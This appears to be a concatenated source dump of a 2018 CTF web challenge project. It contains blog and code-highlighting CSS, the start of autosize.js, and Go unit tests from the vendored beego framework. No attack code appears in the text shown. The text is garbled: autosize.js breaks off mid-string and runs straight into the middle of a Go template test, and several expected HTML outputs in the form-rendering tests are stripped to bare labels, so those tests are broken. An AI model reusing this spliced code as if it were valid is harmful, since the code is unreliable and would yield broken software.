linear}@font-face{font-family:Yue;src:url(//dn-yuehu.qbox.me/fonts/Yue.eot?-q6cbkj);src:url(//dn-yuehu.qbox.me/fonts/Yue.eot?#iefix-q6cbkj) format('embedded-opentype'),url(//dn-yuehu.qbox.me/fonts/Yue.woff?-q6cbkj) format('woff'),url(//dn-yuehu.qbox.me/fonts/Yue.ttf?-q6cbkj) format('truetype'),url(//dn-yuehu.qbox.me/fonts/Yue.svg?-q6cbkj#Yue) format('svg');font-weight:400;font-style:normal}[class^=icon-]:before,[class*=" icon-"]:before{font-family:Yue;speak:none;font-style:normal;font-weight:400;font-variant:normal;text-transform:none;line-height:1;-webkit-font-smoothing:antialiased;-moz-osx-font-smoothing:grayscale}.icon-weibo:before{content:"\e601"}.icon-twitter:before{content:"\e604"}.icon-facebook:before{content:"\e60d"}.icon-writing:before{content:"\e600"}.icon-collection:before{content:"\e60e"}.icon-close:before{content:"\e60f"}.icon-ul:before{content:"\e603"}.icon-check:before{content:"\e610"}.icon-bookmark:before{content:"\e611"}.icon-spinner:before{content:"\e606"}.icon-blockquote:before{content:"\e613"}.icon-setting:before{content:"\e607"}.icon-plus:before{content:"\e608"}.icon-link:before{content:"\e60b"}.icon-upload:before{content:"\e602"}html,body{padding:0;margin:0}button.button,a.button{display:inline-block;-webkit-font-smoothing:antialiased;padding:.84em 1.2em;margin:0;background-color:#222223;color:#f9f9f8;text-transform:uppercase;border:0;text-decoration:none;outline:0;border-radius:3px;-webkit-transition:background-color .2s ease-in-out;transition:background-color .2s ease-in-out;text-align:center;letter-spacing:.1em;font:700 .8em/1 Arial,"Xin Gothic","Hiragino Sans GB","WenQuanYi Micro Hei",sans-serif;cursor:pointer;vertical-align:middle}button.button:hover,a.button:hover{opacity:.9;-ms-filter:alpha(Opacity=90);filter:alpha(opacity=90);color:#fff}button.button:disabled,a.button.disabled{cursor:not-allowed;background-color:#666664}button.button.gray,a.button.gray{color:#9a9a9a;background-color:#e9e9ea}button.button.gray:hover,a.button.gray:hover{color:#9a9a9a;background-color:rgba(233,233,234,.6)}button.button.glass,a.button.glass{background-color:rgba(0,0,0,.2)}button.button i{font-style:normal;margin-right:4px;color:#fff}.collection-card{position:relative;float:left;width:200px;margin:0 10px 20px 0;border-radius:2px;text-align:center;-webkit-box-shadow:0 1px 2px #9a9a9a;box-shadow:0 1px 2px #9a9a9a;background:#fff}.collection-card a{display:block;text-decoration:none}.collection-card a:hover{opacity:.9;-ms-filter:alpha(Opacity=90);filter:alpha(opacity=90)}.collection-card .cover{display:block;width:100%;height:120px;color:#fff;margin:0;border-radius:2px 2px 0 0;text-decoration:none;background-color:#000}.collection-card .card-info{height:120px;padding:20px 16px;overflow:hidden;-webkit-box-sizing:border-box;-moz-box-sizing:border-box;box-sizing:border-box}.collection-card .collection-name{font-weight:500;margin:0}.collection-card .collection-name:after{content:'';display:block;width:60px;margin:4px auto 10px;border-bottom:3px solid #eeeeef}.collection-card .description{margin:0;color:#9a9a9a;font-size:90%;overflow:hidden;white-space:nowrap;text-overflow:ellipsis}@media (max-width:450px){.collection-card{width:98%}.collection-card .cover{height:180px}}.collections-overlay{font-family:"Xin Gothic","Hiragino Sans GB","WenQuanYi Micro Hei"}.collections-overlay .collection-card{cursor:pointer}.collections-overlay .icon-check{position:absolute;line-height:1;bottom:4px;right:6px;font-size:28px;color:#9a9a9a;color:rgba(0,0,0,.2)}.collections-overlay .active .icon-check{color:#222223}.vcard{zoom:1}.vcard:after{display:table;content:'';clear:both}.avatar{text-decoration:none}.avatar .photo,.vcard .avatar .photo{width:68px;height:68px;border-radius:50%}.avatar span.photo,.vcard .avatar span.photo{display:inline-block;background:#222223}.empty-message{font-weight:500;font-size:300%;text-align:center}@-webkit-keyframes spin{50%{-webkit-transform:rotate(180deg);transform:rotate(180deg)}100%{-webkit-transform:rotate(360deg);transform:rotate(360deg)}}@keyframes spin{50%{-webkit-transform:rotate(180deg);-ms-transform:rotate(180deg);transform:rotate(180deg)}100%{-webkit-transform:rotate(360deg);-ms-transform:rotate(360deg);transform:rotate(360deg)}}.icon-spinner{display:inline-block;-webkit-animation:spin 1s infinite linear;animation:spin 1s infinite linear}.yue .icon-spinner{line-height:1}.field,.checkbox-field{margin-bottom:1.6em}.field .button{margin-right:1em}.checkbox-field label{font-size:16px;color:#9a9a9a}.editor{padding-top:60px}.editor textarea{height:360px}.entry-meta{font-family:Optima,Georgia,"Xin Gothic","Hiragino Sans GB","WenQuanYi Micro Hei",serif;font-size:14px;color:#9a9a9a;margin:.6em 0}.entry-meta a{color:#9a9a9a;text-decoration:none}.entry-meta a:hover{text-decoration:underline}.entry-title a{text-decoration:none}.entry-title .icon-link:before{font-size:14px;margin-right:10px;margin-left:-24px;color:#9a9a9a}.entry-list .item{position:relative;display:block;text-decoration:none;color:#9a9a9a;padding-bottom:1em;margin-top:1em;margin-bottom:1.6em;border-bottom:1px solid #eeeeef}.entry-list .item:last-of-type{border-bottom:0}.entry-list .entry-referee,.entry-list .entry-author{position:absolute;display:block;top:5px;right:0;width:48px;height:48px;border-radius:24px;background:#222223}.entry-list .entry-referee:hover,.entry-list .entry-author:hover{opacity:.8;-ms-filter:alpha(Opacity=80);filter:alpha(opacity=80)}.entry-list .entry-referee img,.entry-list .entry-author img{margin:0;max-width:100%;border-radius:24px}.entry-list .entry-title{margin:0;padding-right:100px;line-height:1.2;font-size:1.48em}.entry-list .entry-snippet{display:block;text-decoration:none}.entry-list .entry-control{padding-top:20px}.entry-list .entry-control .button{margin-right:10px}.entry-list .view-on-yuehu{color:#9a9a9a;font-size:13px;margin-left:1em}.entry-list .view-on-yuehu:after{content:'»';padding-left:2px}.hentry>.wrapper{position:relative;padding-bottom:60px}.hentry .icon-bookmark{position:absolute;top:10px;right:0;font-size:28px;text-decoration:none;line-height:1;color:#9a9a9a}.hentry .icon-bookmark:hover{opacity:.6;-ms-filter:alpha(Opacity=60);filter:alpha(opacity=60)}.hentry .icon-bookmark.toggle-active{color:#000}.hentry .entry-meta{margin-top:-10px;margin-bottom:40px}.hentry .entry-meta .sep:after{margin:0 5px;content:'·'}.hentry .entry-meta .vcard{position:absolute;top:0;right:0;margin-right:14px;vertical-align:middle}.hentry .entry-meta .vcard-info{display:none}.hentry .entry-meta .avatar{display:inline-block;width:48px;height:48px}.hentry .entry-meta .photo{width:48px;height:48px;border-radius:50%}.hentry .entry-content{word-wrap:break-word;min-height:250px}.hentry .item{margin-bottom:22px}.hentry .item-title strong{color:#9a9a9a;font-weight:300;border-bottom:3px solid #eeeeef}.hentry .fn{font-weight:700}.hentry .entry-social{zoom:1}.hentry .entry-social:after{content:'';display:table;clear:both}.hentry .entry-social .button{margin-right:14px}.hentry .social-button{float:right}.hentry .entry-footer{padding:20px 0;border-top:1px solid #eeeeef;background:#f9f9f8}.entry-footer .footer-collection{float:left;margin-right:20px;word-break:break-all}.entry-footer .footer-card{overflow:hidden}.entry-footer .footer-card a{text-decoration:none}.entry-footer .footer-card-header{font-family:Avenir,Arial,"Xin Gothic","Hiragino Sans GB","WenQuanYi Micro Hei",sans-serif;font-size:14px;color:#9a9a9a;margin:0 0 20px;border-bottom:3px solid #eeeeef}.entry-footer .vcard .avatar{float:left;margin-right:20px}@media (min-width:980px){.hentry .icon-bookmark{margin-right:-40px}}@media (max-width:680px){.entry-footer .footer-collection{float:none}.footer-collection .collection-card{float:none}}.container{max-width:960px;margin:0 auto;zoom:1}.wrapper{zoom:1}.wrapper:after,.container:after{display:table;content:'';clear:both}.main-body .wrapper{max-width:650px;margin:0 auto}.main-body>.container,.main-body>.wrapper{padding-top:30px}.menu-sidebar{position:relative;float:left;margin-left:-230px;width:160px}.menu-sidebar ul{list-style:none;margin:0 0 48px;padding:0;max-height:300px;overflow-y:auto}.menu-sidebar li{line-height:1.8}.menu-sidebar ul a{text-decoration:none;color:#9a9a9a}.menu-sidebar ul a:hover{color:#666}.section{margin-bottom:60px}.section-title{font:700 14px Avenir,Arial,"Xin Gothic","Hiragino Sans GB","WenQuanYi Micro Hei",sans-serif;text-transform:uppercase;margin-bottom:18px;border-bottom:4px solid #eeeeef}.section-title a{line-height:1;text-decoration:none}.section-title a:after{content:"→";margin-left:4px}.section-input{position:relative;padding:10px 0;border-top:1px solid #eeeeef;border-bottom:1px solid #eeeeef;margin:0 0 30px}.section-input input{border:0;font-size:16px;width:80%;padding:4px 0;outline:0}.section-input .button{position:absolute;right:0;top:6px;color:#fff}.iframe-body{position:absolute;top:47px;width:100%;height:100%}.iframe-body iframe{width:100%;height:100%}@media (max-width:980px){.container{padding-left:10px;padding-right:10px}}@media (max-width:680px){.wrapper{padding-left:10px;padding-right:10px}}.menu{padding:16px 0;color:#9a9a9a}.menu .container{max-width:1110px}.menu a{text-decoration:none;color:#9a9a9a}.menu .menu-main{float:left}.menu .brand{font:400 400 20px "Xin Gothic","Hiragino Sans GB","WenQuanYi Micro Hei";margin-right:20px}.menu .brand sup{font:italic 400 14px Avenir,Arial,"Xin Gothic","Hiragino Sans GB","WenQuanYi Micro Hei",sans-serif;margin-left:4px}.menu .menu-sub{float:right;font:400 400 14px "Xin Gothic","Hiragino Sans GB","WenQuanYi Micro Hei"}.menu-bar{background:#fff;padding:0;height:46px;line-height:46px;border-bottom:1px solid #eeeeef}.menu-bar .menu-sub{line-height:46px}.menu-bar .menu-item{display:inline-block;font-size:14px;height:46px;padding:0 10px;border-left:1px solid #eeeeef}.header-cover{position:relative;background:rgba(0,0,0,.8) no-repeat center center;-webkit-background-size:cover;background-size:cover;height:400px;-webkit-box-sizing:border-box;-moz-box-sizing:border-box;box-sizing:border-box;font-family:Avenir,Arial,"Xin Gothic","Hiragino Sans GB","WenQuanYi Micro Hei",sans-serif}.header-cover .menu{position:absolute;top:0;left:0;width:100%;-webkit-box-sizing:border-box;-moz-box-sizing:border-box;box-sizing:border-box;z-index:9;color:#fff}.header-cover .menu a{color:#fff}.header-cover-container{padding-top:120px;width:100%;height:100%;text-align:center;color:#fff;-webkit-box-sizing:border-box;-moz-box-sizing:border-box;box-sizing:border-box;background:-webkit-gradient(linear,left top,left bottom,from(rgba(0,0,0,.3)),to(rgba(0,0,0,0)));background:-webkit-linear-gradient(rgba(0,0,0,.3),rgba(0,0,0,0));background:linear-gradient(rgba(0,0,0,.3),rgba(0,0,0,0))}.header-cover .avatar{display:inline-block;margin-bottom:20px}.header-cover .avatar img{width:120px;height:120px;border-radius:50%}.header-cover .header-title{font-size:28px;font-weight:500;line-height:1;padding:0;margin:0;text-shadow:5px 5px 0 rgba(0,0,0,.064);font-family:Optima,Georgia,"Xin Gothic","Hiragino Sans GB","WenQuanYi Micro Hei",serif;-webkit-font-smoothing:antialiased}.header-cover .header-title a{color:#fff;text-decoration:none}.header-cover .header-description{text-shadow:5px 5px 0 rgba(0,0,0,.064)}.header-cover .header-button{display:inline-block;margin-top:60px}.menu-sub .menu-buttons{display:inline-block;margin-right:20px}.menu-sub .button{font-size:15px;padding:6px 16px;background-color:rgba(0,0,0,.56)}.menu-sub .menu-buttons .button{margin-left:8px}.header-cover .editable{display:inline-block;padding:2px 10px;line-height:1.4;outline:0;background-color:rgba(0,0,0,.1);border-radius:3px}.item{position:relative}.account-form{max-width:480px;margin:60px auto}.account-form .form-title{font-size:36px}.account-form .form-title a{text-decoration:none}.collaborator-list .item{padding:10px 0;border-bottom:1px solid #eeeeef}.collaborator-list .item .button{position:absolute;right:0;top:20px}.collaborator-list .item a{text-decoration:none}.collaborator-list .item .avatar{float:left;display:inline-block;width:48px;height:48px;margin-right:24px}.collaborator-list .item .photo{width:48px;height:48px}.collaborator-list .item .vcard-info{float:left}.collaborator-list .description{margin:0}.switch-section{position:relative}.switch-section .switch{font-size:11px;position:absolute;bottom:0;right:0}.menu-sidebar .members .photo{width:34px;height:34px;border-radius:3px}.homepage{padding-top:60px}.homepage-intro{float:left;width:60%}.homepage-intro h1{margin-top:0}.homepage-signup{float:right;width:35%}.homepage-signup .field a{text-decoration:none;font-size:14px}@media (max-width:860px){.homepage-intro,.homepage-signup{float:none;width:100%}.homepage-signup{padding-top:40px;border-top:1px solid #eeeeef}} ================================================ FILE: web_gotsctf2018/gotsctf2018/static/css/g.css ================================================ *,h1,h2,h3,h4{ font-family: Verdana,Arial,Microsoft YaHei,sans-serif; color:#666666; word-wrap:break-word;} .mt0{ margin-top:0px!important;} .mt5{ margin-top:5px!important;} .mt10{ margin-top:10px!important;} .mt15{ margin-top:15px!important;} .mt20{ margin-top:20px!important;} .mb0{ margin-bottom:0px!important;} .mb5{ margin-bottom:5px!important;} .mb10{ margin-bottom:10px!important;} .mb15{ margin-bottom:15px!important;} .mb20{ margin-bottom:20px!important;} /*float*/ .fl{ float:left!important;} .fr{ float:right!important;} .fn{ float:none!important;} hr{height:0;-moz-box-sizing:content-box;box-sizing:content-box;margin-top:20px;margin-bottom:20px;border:0;border-top:1px solid #eee} .markdown img, #logo-img{max-width: 100%;height: auto;-webkit-box-shadow: #333 0px 0px 6px;-moz-box-shadow: #333 0px 0px 6px;box-shadow: #333 0px 0px 6px;} .img-circle{border-radius:50%} .cut-line {margin: 0 5px;color: #D6D6D6;} a{ color:#0066cc; text-decoration:none;} a:hover {text-decoration: underline;} #screen{margin:0 auto; width:960px; } #blog-title{margin-left:20px;padding-top:16px;font-size:18pt;font-weight:bold;} #blog-title a{text-decoration: none; color: #888;} #blog-resume{color:#ccc;margin-left:20px;margin-top:14px;font-style:italic;font-size:10pt;} #contact-me .social a.google{background:url('/static/images/social/google.png') center no-repeat #c83d20;border:1px solid #C83D20} #contact-me .social a.google:hover{border:1px solid #9c3019;;background-color:#9c3019} #contact-me .social a.weibo {background: url('/static/images/social/weibo.png') center no-repeat #e32529;border: 1px solid #e32529;} #contact-me .social a.weibo:hover{border:1px solid #bd181c;background-color:#bd181c} #contact-me .social a.facebook {background: url('/static/images/social/facebook.png') center no-repeat #3b5998;border: 1px solid #3B5998;} #contact-me .social a.facebook:hover{border:1px solid #2d4373;background-color:#2d4373;} #contact-me .social a.twitter {background: url('/static/images/social/twitter.png') center no-repeat #55cff8;border: 1px solid #55CFF8;} #contact-me .social a.twitter:hover{border:1px solid #24c1f6;background-color:#24c1f6} #contact-me .social a.github {background: url('/static/images/social/github.png') center no-repeat #afb6ca;border: 1px solid #afb6ca;} #contact-me .social a.github:hover{border:1px solid #909ab6;background-color:#909ab6} #contact-me .social a.linkedin{background:url('/static/images/social/linkedin.png') center no-repeat #005a87;border:1px solid #005A87;} #contact-me .social a.linkedin:hover{border:1px solid #003854;background-color:#003854} #contact-me .social a { -webkit-border-radius: 50%; -moz-border-radius: 50%; -ms-border-radius: 50%; -o-border-radius: 50%; border-radius: 50%; display: -moz-inline-stack; display: inline-block; vertical-align: middle; zoom: 1; text-indent: -9999px; margin-right: 5px; margin-bottom: 15px; opacity: 0.5; width: 28px; height: 28px; -webkit-transition: 0.3s; -moz-transition: 0.3s; -o-transition: 0.3s; transition: 0.3s; } .entry-list .item a { color: #666; } .entry-list .item a:hover { color: #0099cc; } .entry-list .item .entry-snippet{ font-size: 14px; line-height: 30px; } .entry-list .entry-views { position: absolute; display: block; top: 5px; right: 0; padding: 8px 12px; background-color: #0099cc; color: #fff; border-radius: 2px; -moz-border-radius: 2px; -webkit-border-radius: 2px; } .collection-card a { text-decoration: none; } .pagination{display:inline-block;padding-left:0;margin:18px 0;border-radius:4px}.pagination>li{display:inline}.pagination>li>a,.pagination>li>span{position:relative;float:left;padding:6px 12px;margin-left:-1px;line-height:1.428571429;text-decoration:none;background-color:#fff;border:1px solid #ddd}.pagination>li:first-child>a,.pagination>li:first-child>span{margin-left:0;border-bottom-left-radius:4px;border-top-left-radius:4px}.pagination>li:last-child>a,.pagination>li:last-child>span{border-top-right-radius:4px;border-bottom-right-radius:4px}.pagination>li>a:hover,.pagination>li>span:hover,.pagination>li>a:focus,.pagination>li>span:focus{background-color:#eee}.pagination>.active>a,.pagination>.active>span,.pagination>.active>a:hover,.pagination>.active>span:hover,.pagination>.active>a:focus,.pagination>.active>span:focus{z-index:2;color:#fff;cursor:default;background-color:#428bca;border-color:#428bca}.pagination>.disabled>span,.pagination>.disabled>span:hover,.pagination>.disabled>span:focus,.pagination>.disabled>a,.pagination>.disabled>a:hover,.pagination>.disabled>a:focus{color:#999;cursor:not-allowed;background-color:#fff;border-color:#ddd}.pagination-lg>li>a,.pagination-lg>li>span{padding:10px 16px;font-size:17px}.pagination-lg>li:first-child>a,.pagination-lg>li:first-child>span{border-bottom-left-radius:6px;border-top-left-radius:6px}.pagination-lg>li:last-child>a,.pagination-lg>li:last-child>span{border-top-right-radius:6px;border-bottom-right-radius:6px}.pagination-sm>li>a,.pagination-sm>li>span{padding:5px 10px;font-size:12px}.pagination-sm>li:first-child>a,.pagination-sm>li:first-child>span{border-bottom-left-radius:3px;border-top-left-radius:3px}.pagination-sm>li:last-child>a,.pagination-sm>li:last-child>span{border-top-right-radius:3px;border-bottom-right-radius:3px} .entry-meta span { color: #ccc; } footer { border-top: 1px solid #D8D7CF; clear: both; color: #9A9994; font-size: 12px; line-height: 15.4px; margin-top: 15px; overflow: hidden; padding: 20px 0 40px; } footer .site-source { background: url("/static/images/code.png") no-repeat scroll 0 2px transparent; float: left; padding-left: 46px; } footer .sfc-member {float: right;text-align: right;} footer a {color: #403F3C;} ================================================ FILE: web_gotsctf2018/gotsctf2018/static/css/markdown.css ================================================ .markdown { font-size: 14px; } .markdown a { color: #4183C4; } .markdown h1, .markdown h2, .markdown h3, .markdown h4, .markdown h5, .markdown h6 { line-height: 1.7; padding: 15px 0 0; margin: 0 0 15px; color: #666; } .markdown h1, .markdown h2 { border-bottom: 1px solid #EEE; } .markdown h2 { border-bottom: 1px solid #EEE; } .markdown h1 { color: #000; font-size: 33px } .markdown h2 { color: #333; font-size: 28px } .markdown h3 { font-size: 22px } .markdown h4 { font-size: 18px } .markdown h5 { font-size: 14px } .markdown h6 { font-size: 14px } .markdown table { border-collapse: collapse; border-spacing: 0; display: block; overflow: auto; width: 100%; margin: 0 0 9px; } .markdown table th { font-weight: 700 } .markdown table th, .markdown table td { border: 1px solid #DDD; padding: 6px 13px; } .markdown table tr { background-color: #FFF; border-top: 1px solid #CCC; } .markdown table tr:nth-child(2n) { background-color: #F8F8F8 } .markdown li { line-height: 1.6; margin-top: 6px; } .markdown dl dt { font-style: italic; margin-top: 9px; } .markdown dl dd { margin: 0 0 9px; padding: 0 9px; } .markdown blockquote, .markdown blockquote p { font-size: 14px; background-color: #f5f5f5; } .markdown > pre { line-height: 1.6; overflow: auto; background: #fff; padding: 6px 10px; border: 1px solid #ddd; } .markdown > pre.linenums { padding: 0; } .markdown > pre > ol.linenums { -webkit-box-shadow: inset 40px 0 0 #f5f5f5, inset 41px 0 0 #ccc; box-shadow: inset 40px 0 0 #f5f5f5, inset 41px 0 0 #ccc; } .markdown > pre > code, .markdown > pre > ol.linenums > li > code { white-space: pre; word-wrap: normal; } .markdown > pre > ol.linenums > li > code { padding: 0 10px; } .markdown > pre > ol.linenums > li:first-child { padding-top: 6px; } .markdown > pre > ol.linenums > li:last-child { padding-bottom: 6px; } .markdown > pre > ol.linenums > li { border-left: 1px solid #ddd; } .markdown hr { border: none; color: #ccc; height: 4px; padding: 0; margin: 15px 0; background: transparent url('/static/img/hr.png') repeat-x 0 0; } .markdown blockquote:last-child, .markdown ul:last-child, .markdown ol:last-child, .markdown > pre:last-child, .markdown > pre:last-child, .markdown p:last-child { margin-bottom: 0; } .markdown .btn { color: #fff; } ================================================ FILE: web_gotsctf2018/gotsctf2018/static/css/prettify.css ================================================ /* Author: jmblog */ /* Project: https://github.com/jmblog/color-themes-for-google-code-prettify */ /* GitHub Theme */ /* Pretty printing styles. Used with prettify.js. */ /* SPAN elements with the classes below are added by prettyprint. */ /* plain text */ .pln { color: #333333; } @media screen { /* string content */ .str { color: #dd1144; } /* a keyword */ .kwd { color: #333333; } /* a comment */ .com { color: #999988; } /* a type name */ .typ { color: #445588; } /* a literal value */ .lit { color: #445588; } /* punctuation */ .pun { color: #333333; } /* lisp open bracket */ .opn { color: #333333; } /* lisp close bracket */ .clo { color: #333333; } /* a markup tag name */ .tag { color: navy; } /* a markup attribute name */ .atn { color: teal; } /* a markup attribute value */ .atv { color: #dd1144; } /* a declaration */ .dec { color: #333333; } /* a variable name */ .var { color: teal; } /* a function name */ .fun { color: #990000; } } /* Use higher contrast and text-weight for printable form. */ @media print, projection { .str { color: #006600; } .kwd { color: #006; font-weight: bold; } .com { color: #600; font-style: italic; } .typ { color: #404; font-weight: bold; } .lit { color: #004444; } .pun, .opn, .clo { color: #444400; } .tag { color: #006; font-weight: bold; } .atn { color: #440044; } .atv { color: #006600; } } /* Specify class=linenums on a pre to get line numbering */ ol.linenums { margin-top: 0; margin-bottom: 0; } /* IE indents via margin-left */ li.L0, li.L1, li.L2, li.L3, li.L4, li.L5, li.L6, li.L7, li.L8, li.L9 { /* */ } /* Alternate shading for lines */ li.L1, li.L3, li.L5, li.L7, li.L9 { /* */ } ================================================ FILE: web_gotsctf2018/gotsctf2018/static/css/tomorrow-night-eighties.css ================================================ /* Tomorrow Night Eighties Theme */ /* Original theme - https://github.com/chriskempson/tomorrow-theme */ pre { font-family: Consolas, Monaco, Menlo, "Courier New", monospace; display: block; padding: 8.5px; margin: 0 0 9px; font-size: 12px; line-height: 1.428571429; color: #333333; word-break: break-all; word-wrap: break-word; border: 1px solid #cccccc; border-radius: 4px; } .prettyprint { background: #2d2d2d; font-family: Menlo, 'Bitstream Vera Sans Mono', 'DejaVu Sans Mono', Monaco, Consolas, monospace; font-size: 12px; line-height: 1.5; border: 1px solid #ccc; padding: 10px; } .pln { color: #cccccc; } pre code span { font-family: Consolas, Menlo, 'Bitstream Vera Sans Mono', 'DejaVu Sans Mono', Monaco, monospace; font-size: 14px; } @media screen { .str { color: #99cc99; } .kwd { color: #cc99cc; } .com { color: #999999; font-family: Microsoft Yahei; font-size: 11px; } .typ { color: #6699cc; } .lit { color: #f99157; } .pun { color: #cccccc; } .opn { color: #cccccc; } .clo { color: #cccccc; } .tag { color: #f2777a; } .atn { color: #f99157; } .atv { color: #66cccc; } .dec { color: #f99157; } .var { color: #f2777a; } .fun { color: #6699cc; } } @media print, projection { .str { color: #006600; } .kwd { color: #006; font-weight: bold; } .com { color: #600; font-style: italic; } .typ { color: #404; font-weight: bold; } .lit { color: #004444; } .pun, .opn, .clo { color: #444400; } .tag { color: #006; font-weight: bold; } .atn { color: #440044; } .atv { color: #006600; } } /* Specify class=linenums on a pre to get line numbering */ ol.linenums { margin-top: 0; margin-bottom: 0; } /* IE indents via margin-left */ li.L0, li.L1, li.L2, li.L3, li.L4, li.L5, li.L6, li.L7, li.L8, li.L9 { /* */ } /* Alternate shading for lines */ li.L1, li.L3, li.L5, li.L7, li.L9 { /* */ } ================================================ FILE: web_gotsctf2018/gotsctf2018/static/css/vibrant-ink.css ================================================ /* Vibrant Ink Theme */ /* Original theme - http://alternateidea.com/blog/articles/2006/1/3/textmate-vibrant-ink-theme-and-prototype-bundle */ pre { font-family: Consolas, Monaco, Menlo, "Courier New", monospace; display: block; padding: 8.5px; margin: 0 0 9px; font-size: 12px; line-height: 1.428571429; color: #333333; word-break: break-all; word-wrap: break-word; border: 1px solid #cccccc; border-radius: 4px; } .prettyprint { background: black; line-height: 1.5; border: 1px solid #ccc; padding: 10px; } pre code span { font-family: Consolas, Menlo, 'Bitstream Vera Sans Mono', 'DejaVu Sans Mono', Monaco, monospace; font-size: 14px; } .pln { color: white; } @media screen { .str { color: #66ff00; } .kwd { color: #ff6600; } .com { color: #9933cc; } .typ { color: #445588; } .lit { color: #445588; } .pun { color: white; } .opn { color: white; } .clo { color: white; } .tag { color: white; } .atn { color: #99cc99; } .atv { color: #66ff00; } .dec { color: white; } .var { color: white; } .fun { color: #ffcc00; } } @media print, projection { .str { color: #006600; } .kwd { color: #006; font-weight: bold; } .com { color: #600; font-style: italic; } .typ { color: #404; font-weight: bold; } .lit { color: #004444; } .pun, .opn, .clo { color: #444400; } .tag { color: #006; font-weight: bold; } .atn { color: #440044; } .atv { color: #006600; } } /* Specify class=linenums on a pre to get line numbering */ ol.linenums { margin-top: 0; margin-bottom: 0; } /* IE indents via margin-left */ li.L0, li.L1, li.L2, li.L3, li.L4, li.L5, li.L6, li.L7, li.L8, li.L9 { /* */ } /* Alternate shading for lines */ li.L1, li.L3, li.L5, li.L7, li.L9 { /* */ } ================================================ FILE: web_gotsctf2018/gotsctf2018/static/javascript/autosize.js ================================================ /*! Autosize v1.17.8 - 2013-09-07 Automatically adjust textarea height based on user input. (c) 2013 Jack Moore - http://www.jacklmoore.com/autosize license: http://www.opensource.org/licenses/mit-license.php */ (function(e){"function"==typeof define&&define.amd?define(["jquery"],e):e(window.jQuery||window.$)})(function(e){var t,o={className:"autosizejs",append:"",callback:!1,resizeDelay:10},i='`) if output != result { t.Errorf("output should equal `%v` but got `%v`", result, output) } } func TestRenderFormField(t *testing.T) { html := renderFormField("Label: ", "Name", "text", "Value", "", "", false) if html != `Label: ` { t.Errorf("Wrong html output for input[type=text]: %v ", html) } html = renderFormField("Label: ", "Name", "textarea", "Value", "", "", false) if html != `Label: ` { t.Errorf("Wrong html output for textarea: %v ", html) } html = renderFormField("Label: ", "Name", "textarea", "Value", "", "", true) if html != `Label: ` { t.Errorf("Wrong html output for textarea: %v ", html) } } func TestParseFormTag(t *testing.T) { // create struct to contain field with different types of struct-tag `form` type user struct { All int `form:"name,text,年龄:"` NoName int `form:",hidden,年龄:"` OnlyLabel int `form:",,年龄:"` OnlyName int `form:"name" id:"name" class:"form-name"` Ignored int `form:"-"` Required int `form:"name" required:"true"` IgnoreRequired int `form:"name"` NotRequired int `form:"name" required:"false"` } objT := reflect.TypeOf(&user{}).Elem() label, name, fType, _, _, ignored, _ := parseFormTag(objT.Field(0)) if !(name == "name" && label == "年龄:" && fType == "text" && !ignored) { t.Errorf("Form Tag with name, label and type was not correctly parsed.") } label, name, fType, _, _, ignored, _ = parseFormTag(objT.Field(1)) if !(name == "NoName" && label == "年龄:" && fType == "hidden" && !ignored) { t.Errorf("Form Tag with label and type but without name was not correctly parsed.") } label, name, fType, _, _, ignored, _ = parseFormTag(objT.Field(2)) if !(name == "OnlyLabel" && label == "年龄:" && fType == "text" && !ignored) { t.Errorf("Form Tag containing only label was not correctly parsed.") } label, name, fType, id, class, ignored, _ := parseFormTag(objT.Field(3)) if !(name == "name" && label == "OnlyName: " && fType == "text" && !ignored && id == "name" && class == "form-name") { t.Errorf("Form Tag containing only name was not correctly parsed.") } _, _, _, _, _, ignored, _ = parseFormTag(objT.Field(4)) if !ignored { t.Errorf("Form Tag that should be ignored was not correctly parsed.") } _, name, _, _, _, _, required := parseFormTag(objT.Field(5)) if !(name == "name" && required) { t.Errorf("Form Tag containing only name and required was not correctly parsed.") } _, name, _, _, _, _, required = parseFormTag(objT.Field(6)) if !(name == "name" && !required) { t.Errorf("Form Tag containing only name and ignore required was not correctly parsed.") } _, name, _, _, _, _, required = parseFormTag(objT.Field(7)) if !(name == "name" && !required) { t.Errorf("Form Tag containing only name and not required was not correctly parsed.") } } func TestMapGet(t *testing.T) { // test one level map m1 := map[string]int64{ "a": 1, "1": 2, } if res, err := MapGet(m1, "a"); err == nil { if res.(int64) != 1 { t.Errorf("Should return 1, but return %v", res) } } else { t.Errorf("Error happens %v", err) } if res, err := MapGet(m1, "1"); err == nil { if res.(int64) != 2 { t.Errorf("Should return 2, but return %v", res) } } else { t.Errorf("Error happens %v", err) } if res, err := MapGet(m1, 1); err == nil { if res.(int64) != 2 { t.Errorf("Should return 2, but return %v", res) } } else { t.Errorf("Error happens %v", err) } // test 2 level map m2 := map[string]interface{}{ "1": map[string]float64{ "2": 3.5, }, } if res, err := MapGet(m2, 1, 2); err == nil { if res.(float64) != 3.5 { t.Errorf("Should return 3.5, but return %v", res) } } else { t.Errorf("Error happens %v", err) } // test 5 level map m5 := map[string]interface{}{ "1": map[string]interface{}{ "2": map[string]interface{}{ "3": map[string]interface{}{ "4": map[string]interface{}{ "5": 1.2, }, }, }, }, } if res, err := MapGet(m5, 1, 2, 3, 4, 5); err == nil { if res.(float64) != 1.2 { t.Errorf("Should return 1.2, but return %v", res) } } else { t.Errorf("Error happens %v", err) } // check whether element not exists in map if res, err := MapGet(m5, 5, 4, 3, 2, 1); err == nil { if res != nil { t.Errorf("Should return nil, but return %v", res) } } else { t.Errorf("Error happens %v", err) } } ================================================ FILE: web_gotsctf2018/gotsctf2018/vendor/github.com/astaxie/beego/testing/assertions.go ================================================ // Copyright 2014 beego Author. All Rights Reserved. // // Licensed under the Apache License, Version 2.0 (the "License"); // you may not use this file except in compliance with the License. // You may obtain a copy of the License at // // http://www.apache.org/licenses/LICENSE-2.0 // // Unless required by applicable law or agreed to in writing, software // distributed under the License is distributed on an "AS IS" BASIS, // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. // See the License for the specific language governing permissions and // limitations under the License. package testing ================================================ FILE: web_gotsctf2018/gotsctf2018/vendor/github.com/astaxie/beego/testing/client.go ================================================ // Copyright 2014 beego Author. All Rights Reserved. // // Licensed under the Apache License, Version 2.0 (the "License"); // you may not use this file except in compliance with the License. // You may obtain a copy of the License at // // http://www.apache.org/licenses/LICENSE-2.0 // // Unless required by applicable law or agreed to in writing, software // distributed under the License is distributed on an "AS IS" BASIS, // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. // See the License for the specific language governing permissions and // limitations under the License. package testing import ( "github.com/astaxie/beego/config" "github.com/astaxie/beego/httplib" ) var port = "" var baseURL = "http://localhost:" // TestHTTPRequest beego test request client type TestHTTPRequest struct { httplib.BeegoHTTPRequest 